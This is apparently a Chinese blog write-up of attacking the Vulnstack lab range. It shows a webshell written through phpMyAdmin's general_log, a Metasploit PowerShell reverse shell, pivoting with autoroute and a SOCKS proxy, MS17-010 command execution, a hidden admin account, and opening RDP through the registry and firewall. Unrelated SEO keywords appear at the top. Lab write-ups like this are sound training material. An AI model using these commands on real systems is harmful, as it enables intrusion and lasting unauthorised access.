行业网站排名查询,开发公司质量安全管理组织机构图,如何制定网站建设规划,网站建设借鉴目录
搭建环境问题
靶场环境
web 渗透
登录 phpmyadmin 应用
探测版本
写日志获得 webshell
写入哥斯拉 webshell
上线到 msf
内网信息收集
主机发现
流量转发
端口扫描
开启 socks 代理
服务探测
getshell 内网主机
浏览器配置 socks 代理
21 ftp
6002/700…目录
搭建环境问题
靶场环境
web 渗透
登录 phpmyadmin 应用
探测版本
写日志获得 webshell
写入哥斯拉 webshell
上线到 msf
内网信息收集
主机发现
流量转发
端口扫描
开启 socks 代理
服务探测
getshell 内网主机
浏览器配置 socks 代理
21 ftp
6002/7002 http
8099 IIS
139/445 smb
创建用户和开启 3389
远程桌面连接 这是一篇我渗透第一个红日靶场的笔记记录其中使用到的技术。
搭建环境问题
本来想用 CS 完成后渗透但是发现在基于主机模式网卡搭建的环境下搭建的 CS 服务器有问题具体表现是 beacon 无法上线到 CS 服务器CS 客户端的 target 列表一片空白 具体原因应该是跟网卡的模式有关在 NAT 或桥接模式下运行的 CS 服务器倒是能正常工作。然而发现在网卡为 NAT 模式下的机器能访问网卡为主机模式的机器导致不能模拟一个正常隔断的局域网。本来还想用桥接模式又发现宿主机用了手机热点切换为桥接模式的虚拟机无法获取 ip。最终我选择用主机模式网卡搭建靶场环境然后用 metasploit 完成后渗透。 靶场环境 web 渗透
登录 phpmyadmin 应用
首先是从 web 服务器开始渗透访问 192.168.17.141 网站 phpstudy 搭建的 web 服务器在网站目录下有个 phpmyadmin 入口因为我知道 phpstudy 自带这么一个目录所以手动访问了该路径正常的渗透流程应该用工具扫描目录 这种第三方应用一般会有一个默认账号phpmyadmin 的是 root/root输入并登录进入系统 探测版本
phpmyadmin 曝出过很多漏洞网上很多利用方法参考文章最全phpmyadmin漏洞汇总
按照文章提供的技巧先访问某些文件以查看 phpmyadmin 的版本号比如 /phpmyadmin/readme 根据这个版本号找对应的漏洞。我对了所有漏洞的版本范围没有一个对的上幸好还有一种方法 getshell通过写入日志文件把 webshell 写入到网站目录下。 写日志获得 webshell
在写日志之前首先需要知道网站目录的绝对路径这一点可以在 phpstudy 探针页面看到 现在可以在 phpmyadmin 的 SQL 功能页面写入日志了按顺序执行以下语句
# 开启日志记录
set global general_log on;
# 日志文件的路径
set global general_log_file C:/phpstudy/WWW/shell.php;
# 执行 SQL 语句被记录到日志文件中
select ?php eval($_GET[x]);?;
点击 go 执行 访问日志文件 shell.php 看到这样的结果说明 webshell 已经成功写入到网站目录下。 写入哥斯拉 webshell
一句话木马不方便后续的操作比如命令执行和上线等等所以写入一个哥斯拉的 webshell。其实为了避开可能存在的杀软应该直接写入哥斯拉 webshell 而不是一句话木马
主要的思路是通过一句话木马执行 file_put_contents() 函数将哥斯拉 webshell 写入网站目录下这些步骤我就省略了。
最后连接哥斯拉 webshell 上线到 msf
先看看当前 webshell 能不能执行命令 能执行。接下来在 msfconsole 控制台操作使用 exploit/multi/script/web_delivery 模块分发 payload。用这种方法上线的原因是 web 服务器运行在 windows 系统上用 powershell 直接下载 payload 并执行效率比较高只需要一条命令。
msfconsole 开启分发 payload 的 web 服务器
use exploit/multi/script/web_delivery
set TARGET PSH
set PAYLOAD payload/windows/powershell_reverse_tcp
set LHOST 192.168.70.128 # 设置监听器的 ip 地址
set LPORT 2333 # 设置监听器的端口
run 复制给出的 powershell 语句在哥斯拉 webshell 执行 回到 msfconsole 就会发现成功接收到的反弹 shell 基于 powershell 的 shell 不太好用可以利用它升级为 meterpreter命令是 sessions -u id 内网信息收集
主机发现
在刚得到的 meterpreter 中收集网卡信息
meterpreter ifconfig...Interface 11Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:a7:c1:a8
MTU : 1500
IPv4 Address : 192.168.70.129
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::fcff:cf71:1487:9c27
IPv6 Netmask : ffff:ffff:ffff:ffff::...Interface 26Name : Intel(R) PRO/1000 MT Network Connection #3
Hardware MAC : 00:0c:29:a7:c1:b2
MTU : 1500
IPv4 Address : 192.168.17.141
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::28cf:4f8a:48f2:7a90
IPv6 Netmask : ffff:ffff:ffff:ffff::
有两张不同网段的网卡192.168.70.129 是对外开放的 ip 地址也就是 web 服务器的地址而 192.168.17.141 是该主机在内部局部网的 ip 地址。
用 post/windows/gather/arp_scanner 模块扫描局域网内的存活主机
msf6 use post/windows/gather/arp_scanner
msf6 post(windows/gather/arp_scanner) set SESSION 2
SESSION 2
msf6 post(windows/gather/arp_scanner) set RHOSTS 192.168.17.0/24
RHOSTS 192.168.17.0/24
msf6 post(windows/gather/arp_scanner) optionsModule options (post/windows/gather/arp_scanner):Name Current Setting Required Description---- --------------- -------- -----------RHOSTS 192.168.17.0/24 yes The target address range or CIDR identifierSESSION 2 yes The session to run this module on.THREADS 10 no The number of concurrent threadsmsf6 post(windows/gather/arp_scanner) run[*] Running module against STU1
[*] ARP Scanning 192.168.17.0/24
[] IP: 192.168.17.1 MAC 00:50:56:c0:00:01 (VMware, Inc.)
[] IP: 192.168.17.10 MAC 00:0c:29:3f:5d:a9 (VMware, Inc.)
[] IP: 192.168.17.100 MAC 00:0c:29:6d:39:34 (VMware, Inc.)
[] IP: 192.168.17.141 MAC 00:0c:29:a7:c1:b2 (VMware, Inc.)
[] IP: 192.168.17.254 MAC 00:50:56:e5:cc:ad (VMware, Inc.)
[] IP: 192.168.17.255 MAC 00:0c:29:a7:c1:b2 (VMware, Inc.)
[*] Post module execution completed
192.168.17.0/24 网段内存活的主机有 6 个去掉主机号为 1、254 和 255 的机器这几个 ip 一般不是提供服务的主机总共有 3 个主机在线再去掉当前主机的 141剩下两个就是其他提供服务的主机。
PSarp 扫描需要管理员权限。 流量转发
将某个 meterpreter 所控制的主机作为流量转发的中转pivot使用的模块是 post/multi/manage/autoroute。
执行命令
msf6 post(windows/gather/arp_scanner) use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) set SESSION 2 # 设置作为中转的会话
SESSION 2
msf6 post(multi/manage/autoroute) optionsModule options (post/multi/manage/autoroute):Name Current Setting Required Description---- --------------- -------- -----------CMD autoadd yes Specify the autoroute command (Accepted: add, autoadd, print, delete, default)NETMASK 255.255.255.0 no Netmask (IPv4 as 255.255.255.0 or CIDR as /24SESSION 2 yes The session to run this module on.SUBNET no Subnet (IPv4, for example, 10.10.10.0)msf6 post(multi/manage/autoroute) run[!] SESSION may not be compatible with this module (incompatible session platform: windows)
[*] Running module against STU1
[*] Searching for subnets to autoroute.
[] Route added to subnet 169.254.0.0/255.255.0.0 from hosts routing table.
[] Route added to subnet 192.168.17.0/255.255.255.0 from hosts routing table.
[] Route added to subnet 192.168.70.0/255.255.255.0 from hosts routing table.
[*] Post module execution completed
从 Session 2也就是 meterpreter自动获取所控制主机上的网段信息添加到当前路由表。查看现在的路由表
msf6 post(multi/manage/autoroute) set CMD print
CMD print
msf6 post(multi/manage/autoroute) run[!] SESSION may not be compatible with this module (incompatible session platform: windows)
[*] Running module against STU1
[*]
IPv4 Active Routing Table
Subnet Netmask Gateway------ ------- -------169.254.0.0 255.255.0.0 Session 2192.168.17.0 255.255.255.0 Session 2192.168.70.0 255.255.255.0 Session 2[*] There are currently no IPv6 routes defined.
[*] Post module execution completed
这个像路由表的列表的含义是所有 metasploit 模块发送的流量的目标 ip 地址如果属于 Subnet 里面的网段就由 Gateway 指定的 Session 进行转发。
那么之后的端口扫描就可以针对内部局域网 192.168.17.0/24 进行扫描了。 端口扫描
对 192.168.17.100 这台主机的前 10000 个端口进行扫描。为什么只扫描前 10000 个端口呢因为一般服务所使用的端口集中在这范围里面而端口扫描需要很多时间所以暂时不浪费大量时间去扫描高位端口除非实在没有可攻击的服务。
执行命令
msf6 post(multi/manage/autoroute) use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) set RHOSTS 192.168.17.100
RHOSTS 192.168.17.100
msf6 auxiliary(scanner/portscan/tcp) set THREADS 5
THREADS 5
msf6 auxiliary(scanner/portscan/tcp) run[] 192.168.17.100: - 192.168.17.100:21 - TCP OPEN
[] 192.168.17.100: - 192.168.17.100:139 - TCP OPEN
[] 192.168.17.100: - 192.168.17.100:135 - TCP OPEN
[] 192.168.17.100: - 192.168.17.100:445 - TCP OPEN
[] 192.168.17.100: - 192.168.17.100:777 - TCP OPEN
[] 192.168.17.100: - 192.168.17.100:1025 - TCP OPEN
[] 192.168.17.100: - 192.168.17.100:1040 - TCP OPEN
[] 192.168.17.100: - 192.168.17.100:1041 - TCP OPEN
[] 192.168.17.100: - 192.168.17.100:1043 - TCP OPEN
[] 192.168.17.100: - 192.168.17.100:6002 - TCP OPEN
[] 192.168.17.100: - 192.168.17.100:7001 - TCP OPEN
[] 192.168.17.100: - 192.168.17.100:7002 - TCP OPEN
[] 192.168.17.100: - 192.168.17.100:8099 - TCP OPEN
[] 192.168.17.100: - 192.168.17.100:8098 - TCP OPEN
扫描另一台主机 192.168.17.10 的操作同上这里就省略了。 开启 socks 代理
因为探测开放端口上的服务信息需要用到 nmap而 nmap 不属于 metasploit 的模块无法通过 session 进行流量转发。因此需要开启一个 socks 代理服务器。使用到的模块auxiliary/server/socks_proxy执行以下命令
msf6 auxiliary(scanner/portscan/tcp) use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) optionsModule options (auxiliary/server/socks_proxy):Name Current Setting Required Description---- --------------- -------- -----------PASSWORD no Proxy password for SOCKS5 listenerSRVHOST 0.0.0.0 yes The address to listen onSRVPORT 1080 yes The port to listen onUSERNAME no Proxy username for SOCKS5 listenerVERSION 5 yes The SOCKS version to use (Accepted: 4a, 5)Auxiliary action:Name Description---- -----------Proxy Run a SOCKS proxy servermsf6 auxiliary(server/socks_proxy) run
[*] Auxiliary module running as background job 2.[*] Starting the SOCKS proxy server
msf6 auxiliary(server/socks_proxy) jobsJobs
Id Name Payload Payload opts-- ---- ------- ------------1 Exploit: multi/script/web_delivery windows/powershell_reverse_tcp tcp://192.168.70.128:44442 Auxiliary: server/socks_proxy
第二个 job 表明已经开启了 socks 代理。在 socks_proxy 模块的 options 里面描述了 socks 代理服务器的地址、端口和 socks 协议的版本利用这些信息配置 proxychains在命令行下执行
echo socks5 127.0.0.1 1080 /etc/proxychains4.conf
cat /etc/proxychains4.conf...[ProxyList]
# add proxy here ...
# meanwile
# defaults set to tor
socks5 127.0.0.1 1080
将代理配置添加到 proxychains.conf 文件的末尾中这样就配置成功了。 服务探测
用 nmap 扫描 192.168.17.100 主机上开放端口的服务
proxychains nmap -sT -Pn -sV 192.168.17.100 -p 21,139,135,445,777,1025,1040,1041,1043,6002,7001,7002,8099,8098
需要注意的是nmap 对代理的支持有限很多协议不支持代理。所以这里用 -sT 指定只用 TCP 全连接扫描-Pn 取消主机发现即不发送 ICMP、ARP 等报文因为前面说的 nmap 不支持。具体问题的描述参考 StackOverflow 的回答How to use nmap through proxychains?
ok执行上面的命令得到类似如下的结果
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
777/tcp open multiling-http?
1025/tcp open msrpc Microsoft Windows RPC
1040/tcp open msrpc Microsoft Windows RPC
1041/tcp open msrpc Microsoft Windows RPC
1043/tcp open msrpc Microsoft Windows RPC
6002/tcp open http SafeNet Sentinel Protection Server 7.3
7001/tcp open tcpwrapped
7002/tcp open http SafeNet Sentinel Keys License Monitor httpd 1.0 (Java Console)
8098/tcp open ssl/unknown
8099/tcp open http Microsoft IIS httpd 6.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port777-TCP:V7.91%I7%D8/13%Time64D8918A%Px86_64-pc-linux-gnu%r(Ter
SF:minalServerCookie,A,\x01\0\t\xe0\x06\x01\0\t\xe0\x06)%r(Kerberos,5,\
SF:x01\0\t\xe0\x06)%r(SMBProgNeg,5,\x01\0\t\xe0\x06)%r(TerminalServer,A
SF:,\x01\0\t\xe0\x06\x01\0\t\xe0\x06)%r(WMSRequest,5,\x01\0\t\xe0\x06);
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003
在 nmap 扫描结果中比较感兴趣的端口有 21 ftp、139/445 smb、6002/7002 http 和 8099 IIS对这些服务逐个进行测试看看能够获取目标主机的权限。 getshell 内网主机
浏览器配置 socks 代理 配置的是 metasploit 开启的 socks 代理服务器。 21 ftp
在浏览器地址栏输入 ftp://192.168.17.100 并访问 没有文件和目录。
题外话本来我想将目标端口映射到本地再用 ftp 客户端访问也就是将 192.168.17.100 的 20 和 21 端口映射到 kali 上的 20 和 21 端口。然而尽管 ftp 客户端能连接上并匿名登录却无法传输数据。我猜想是跟 ftp 的数据传输机制有关因为 ftp 另外建立了一条数据通道协议详解参考FTP 文件传送协议_《TCP/IP详解 卷1协议》。至于怎么将目标端口映射到本地后面会介绍。 6002/7002 http
这个网站用 SafeNet Sentinel Protection Server 7.3 搭建网上有关于它的 CVE 和 exp参考SafeNet Sentinel Protection Server 7.0 7.4 / Sentinel Keys Server 1.0.3 1.0.4 - Directory Traversal是一个目录穿越导致任意文件下载的漏洞但是我没有利用成功。所以这一步测试就省略了。
不过在测试该漏洞的过程中发现 burpsuite 也可以用 socks 代理 那么我们可以把浏览器的代理配置改为 burpsuite 的 http 127.0.0.1:8080 之后 burpsuite 就会拦截从浏览器发出的、经过 socks 代理转发的流量了。 8099 IIS
这个网站要求 https 访问具体访问路径是 https://192.168.17.100:8098不过需要 http basic auth 认证 用 auxiliary/scanner/http/http_login 模块尝试暴力破解但没有成功。看了一下服务器的 IIS 配置 仅用户名就不容易猜对了。 139/445 smb
139 端口运行的是基于 NetBIOS 会话服务的 smb445 端口运行的是基于 CIFS 的 smb不依赖于 NetBIOS两个端口都是 smb不过一般攻击的是 445 端口。
smb 版本探测
msf6 auxiliary(scanner/http/http_login) use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) set RHOSTS 192.168.17.100
RHOSTS 192.168.17.100
msf6 auxiliary(scanner/smb/smb_version) run
^M
[*] 192.168.17.100:445 - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
[] 192.168.17.100:445 - Host is running Windows 2003 (build:3790) (name:ROOT-TVI862UBEH) (domain:GOD)
[*] 192.168.17.100: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
目标系统是 Windows Server 2003在 ms17_010 漏洞的版本范围内可以尝试攻击
msf6 auxiliary(scanner/smb/smb_version) use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) set RHOSTS 192.168.17.100
msf6 auxiliary(admin/smb/ms17_010_command) set COMMAND whoami /all
COMMAND whoami /all
msf6 auxiliary(admin/smb/ms17_010_command) run[-] 192.168.17.100:445 - Rex::Proto::SMB::Exceptions::LoginError: Login Failed: execution expired
[*] 192.168.17.100:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(admin/smb/ms17_010_command) runmsf6 auxiliary(admin/smb/ms17_010_command) run[*] 192.168.17.100:445 - Target OS: Windows Server 2003 3790
[*] 192.168.17.100:445 - Filling barrel with fish... done
[*] 192.168.17.100:445 - ---------------- | Entering Danger Zone | ----------------
[*] 192.168.17.100:445 - [*] Preparing dynamite...
[*] 192.168.17.100:445 - Trying stick 1 (x64)...Miss
[*] 192.168.17.100:445 - [*] Trying stick 2 (x86)...Boom!
[*] 192.168.17.100:445 - [] Successfully Leaked Transaction!
[*] 192.168.17.100:445 - [] Successfully caught Fish-in-a-barrel
[*] 192.168.17.100:445 - ---------------- | Leaving Danger Zone | ----------------
[*] 192.168.17.100:445 - Reading from CONNECTION struct at: 0x8d04ad60
[*] 192.168.17.100:445 - Built a write-what-where primitive...
[] 192.168.17.100:445 - Overwrite complete... SYSTEM session obtained!
[] 192.168.17.100:445 - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.17.100:445 - Getting the command output...
[*] 192.168.17.100:445 - Executing cleanup...
[] 192.168.17.100:445 - Cleanup was successful
[] 192.168.17.100:445 - Command completed successfully!
[*] 192.168.17.100:445 - Output for whoami /all:USER INFORMATION
----------------User Name SID nt authority\system S-1-5-18GROUP INFORMATION
... // 省略
漏洞利用成功并执行 whoami /all 命令。
注意漏洞利用模块执行不稳定建议尝试多执行几次。 创建用户和开启 3389
通过 ms17_010 命令执行漏洞在目标主机创建管理员用户和开启 3389 远程桌面。
创建用户的相关命令
net user 用户名 密码 /add # 创建账户$ 隐藏账户密码在 Windows Server 上需要满足一定的复杂度
net localgroup administrators 用户名 /add
net user 用户名
开启 3389 远程桌面的相关命令
# 若字段值为0则表示已启动RDP若为1则表示禁用RDP
reg query HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections
# 开启远程桌面
reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
# 关闭“仅允许运行使用网络级别身份验证的远程桌面的计算机连接”鉴权
reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp /v UserAuthentication /t REG_DWORD /d 0
# 防火墙开放 3389 端口
netsh advfirewall firewall add rule nameRemote Desktop protocolTCP dirin localport3389 actionallow
需要注意的是metasploit 对 set COMMAND 提供的参数会转义一次所以给 ms17_010_command 模块设置命令 option 时需要将引号和反斜杠前面添加转义符号举个例子
set COMMAND reg add \HKLM\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\ /v fDenyTSConnections /t REG_DWORD /d 0 /f 远程桌面连接
192.168.17.100 主机的 3389 端口开启后如何连接呢Windows 攻击机可以选择用 proxifier 代理工具配置前面 metasploit 开启的 socks 代理服务器端口 1080不过我选择将目标端口映射到本地的方法。
在 msfconsole 下执行
msf6 post(multi/manage/autoroute) sessions -i 2
[*] Starting interaction with 2...meterpreter portfwd add -l 3389 -p 3389 -r 192.168.17.100
[*] Local TCP relay created: :3389 - 192.168.17.100:3389
meterpreter portfwdActive Port Forwards
Index Local Remote Direction----- ----- ------ ---------1 192.168.17.100:3389 0.0.0.0:3389 Forward1 total active port forwards.
portfwd 命令语句的含义是将远程主机 192.168.17.100-r的 3389 端口-p映射到本地的 3389 端口-l。Active Port Forwards 展示的列表中有点让人看不懂Local 和 Remote 相反了Local 是远程地址Remote 则是本地地址。不管怎样只需要知道发送给 0.0.0.0:3389 的流量将被转发到远程地址 192.168.17.100 的 3389 端口。
既然是转发那肯定有个作为中转的“东西”其实这里作为中转的正是前面配置流量转发所指定的 Session 2。
IPv4 Active Routing Table
Subnet Netmask Gateway------ ------- -------169.254.0.0 255.255.0.0 Session 2192.168.17.0 255.255.255.0 Session 2192.168.70.0 255.255.255.0 Session 2
也就是 meterpreter 控制的 web 服务器。
接着便可以在 Windows 10 攻击机上远程桌面连接了 ip 地址和端口是 kali 攻击机及其刚刚映射到本地的 3389 端口。 连接成功输入密码就能登录进去系统。
题外话我尝试用这篇文章介绍的技术将这台 Windows Server 2003 上线到 msf 的时候发现无法创建 session而 Windows Server 2008 则可以上线具体原因可能是 Server 2003 台太老了缺少一些程序。
至此内网的第一台主机 Windows Server 2003ip 地址为 192.168.17.100 已经被攻陷。另一台主机 Windows Server 2008ip 的地址为 192.168.17.10也可以利用 ms17_010 漏洞获取访问权限。如果想尝试用 PTH 获取权限具体操作参考这篇攻略Vulnstack红日安全内网域渗透靶场1实战